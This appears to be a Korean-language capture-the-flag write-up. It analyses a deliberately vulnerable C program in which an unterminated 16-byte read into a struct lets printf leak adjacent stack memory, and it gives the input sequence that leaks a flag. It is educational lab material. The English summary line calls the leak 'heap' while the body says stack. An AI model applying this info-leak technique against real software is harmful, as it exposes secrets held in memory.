memory_leakage

A struct read back without clearing it first leaks adjacent heap memory field by field.

2026.08.18 Pwn original post

memory_leakage memory_leakage.c chaeeun@chaeeuns-MacBook-Air 87a12785-ba18-4ebf-9196-2d859dedbff2 % cat memory_leakage.c #include <stdio.h> #include <stdlib.h>

#include <signal.h> #include <unistd.h> #include <string.h> FILE *fp; struct my_page { char name[16]; int
age; }; void alarm_handler() { puts("TIME OUT"); exit(-1); } void initialize() { setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0); signal(SIGALRM, alarm_handler); alarm(30); } int main() { struct my_page
my_page; char flag_buf[56]; int idx; memset(flag_buf, 0, sizeof(flag_buf)); initialize(); while(1) { printf("1.
Join\n"); printf("2. Print information\n"); printf("3. GIVE ME FLAG!\n"); printf("> "); scanf("%d", &idx);
switch(idx) { case 1: printf("Name: "); read(0, my_page.name, sizeof(my_page.name)); printf("Age: ");

scanf(“%d”, &my_page.age); break; case 2: printf(“Name: %s\n”, my_page.name); printf(“Age: %d\n”,

my_page.age); break; case 3: fp = fopen("/flag", "r"); fread(flag_buf, 1, 56, fp); break; default: break; } } }%

핵심 취약점은 여기임

read(0, my_page.name, sizeof(my_page.name));

my_page.name 크기는 16바이트인데, read()는 널 바이트 \0를 자동으로 붙여주지 않음

그런데 출력할 때는 이렇게 함.

printf("Name: %s\n", my_page.name);

%s는 문자열 끝을 만날 때까지 계속 출력해. 즉, my_page.name 뒤에 \0이 없으면 스택 뒤쪽 메모리까지 계속 읽어서 출력할 수 있음

공격 흐름 중요한 건 먼저 flag를 메모리에 올려야 해. case 3:

fp = fopen("/flag", "r");
fread(flag_buf, 1, 56, fp);
break;

3번을 누르면 /flag 내용이 flag_buf에 들어감. 하지만 직접 출력해주지는 않음. 그다음 1번 Join에서 이름을 16바이트 꽉 채워서 입력하면 \0이 안 붙음. 그 후 2번 Print information을 선택하면,

printf("Name: %s\n", my_page.name);

때문에 my_page.name부터 시작해서 뒤쪽 스택 메모리를 \0이 나올 때까지 계속 출력함. 그 과정에서 flag_buf 안의 flag가 같이 새어 나올 수 있음.

그래서 입력은:

3 > 1 Name: AAAAAAAAAAAAAAAA Age: 1094795585 > 2

여기서 age 값이 궁금할텐데, age 값을 널 바이트가 없는 값으로 넣어야만한다. (입력은 따로 받아도, 메모리에서는 name 바로 뒤에 age가 붙어 있음) 구조체가 이렇게 생겼지. struct my_page { char name[16]; int age; }; 그러면 메모리 배치는 보통 이렇게 돼. my_page.name[16] | my_page.age[4] 더 자세히 보면: offset 0x00 ~ 0x0f : name[16] offset 0x10 ~ 0x13 : age 예를 들어 1234는 메모리에 이런 식으로 저장될 수 있어. d2 04 00 00 여기 안에 00 널 바이트가 들어가면 %s 출력이 거기서 끊길 수 있어.

예를 들어: 1094795585 이 값은 hex로:

0x41414141

메모리에 “AAAA”처럼 들어가서 중간에 \0이 없음. 그래서 더 나은 값은 1094795585 임.